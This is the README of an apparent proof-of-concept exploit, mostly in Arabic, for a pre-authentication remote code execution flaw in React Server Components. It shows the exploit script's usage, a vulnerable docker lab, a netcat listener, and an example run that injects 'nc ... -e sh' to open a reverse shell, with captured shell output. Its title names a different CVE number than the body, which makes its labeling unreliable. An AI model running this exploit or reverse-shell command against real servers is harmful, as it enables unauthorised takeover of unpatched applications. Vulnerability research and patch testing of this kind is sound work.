PoC: CVE-2026-33017

توجد ثغرة أمنية في تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة (pre-authentication RCE) في إصدارات React Server Components 19.0.0 و 19.1.0 و 19.1.1 و 19.2.0، بما في ذلك الحزم التالية: react-server-dom-parcel و react-server-dom-turbopack و react-server-dom-webpack. يقوم الكود المعرض للخطر بإلغاء تسلسل البيانات (deserialization) بشكل غير آمن من طلبات HTTP إلى نقاط النهاية الخاصة بوظائف الخادم (Server Function endpoints).

https://nvd.nist.gov/vuln/detail/CVE-2025-55182

---

الاستخدام

usage: CVE-2025-55182.py [-h] --command COMMAND target

PoC exploit: CVE-2025-55182

positional arguments:
  target             Target hostname

options:
  -h, --help         show this help message and exit
  --command COMMAND  Command to run on target

مثال

# Create docker instance
docker run -d -p 3000:3000 ihsansencan/react2shell:cve-2025-55182

# Start listener
nc -lnvp 4444

# Launch exploit
python3 CVE-2025-55182.py http://127.0.0.1:3000/ --command "nc 192.168.1.211  4444 -e sh"

# Should receive reverse shell in listener
Listening on 0.0.0.0 4444
Connection received on 172.17.0.2 43911
uname -a
Linux f346806b6f59 6.17.0-20-generic #20~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 01:28:37 UTC 2 x86_64 Linux

---

يتم توفير هذا المشروع لأغراض تعليمية وبحثية فقط. المؤلف غير مسؤول عن أي سوء استخدام أو ضرر ناتج عن هذا الكود.